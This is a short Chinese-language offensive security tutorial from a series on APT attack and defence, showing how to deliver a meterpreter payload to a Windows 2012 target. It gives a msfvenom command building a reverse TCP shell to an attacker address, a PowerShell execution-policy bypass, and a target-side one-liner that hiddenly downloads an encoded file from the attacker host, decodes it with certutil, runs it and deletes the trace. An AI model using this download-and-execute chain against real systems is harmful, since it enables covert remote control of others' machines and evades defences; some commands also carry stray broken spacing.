专注APT攻击与防御

https://micropoor.blogspot.com/

第八季中提到了certutil的加密与解密。

C:\>certutil -encode c:\downfile.vbs downfile.bat，而配合powershell的内存加载，则可把certutil发挥更强大。

靶机：windows 2012

而今天需要的是一款powershell的混淆框架的配合https://github.com/danielbohannon/Invoke-CradleCrafter使用方法：

Import-Module ./Invoke-CradleCrafter.psd1 Invoke-CradleCrafter

如果在加载powershell 脚本的时候提示：powershell 进行数字签运行该脚本。则先执行：set-executionpolicy Bypass

生成payload：（有关生成payload，会在未来的系列中讲到）

1 root@John:/tmp# msfvenom ‐p windows/x64/meterpreter/reverse\_tcp LHOST=192.168.1.5 LPORT=53 ‐e cmd/powershell\_base64 ‐f psh ‐o Micropoor.t xt

启动apache：

powershell框架设置：

SET URL http://192.168.1.5/Micropoor.txt

MEMORY

CERTUTIL

ALL

1

混淆内容保存txt，后进行encode

把cer.cer 与Micropoo.txt 放置同一目录下。目标机执行：

1 powershell.exe ‐Win hiddeN ‐Exec ByPasS add‐content ‐path %APPDATA%\ce r.cer (New‐Object Net.WebClient).DownloadString('http://192.168.1.5/cer.c er'); certutil ‐decode %APPDATA%\cer.cer %APPDATA%\stage.ps1 & start /b c md /c powershell.exe ‐Exec Bypass ‐NoExit ‐File %APPDATA%\stage.ps1 & sta rt /b cmd /c del %APPDATA%\cer.cer

Micropoor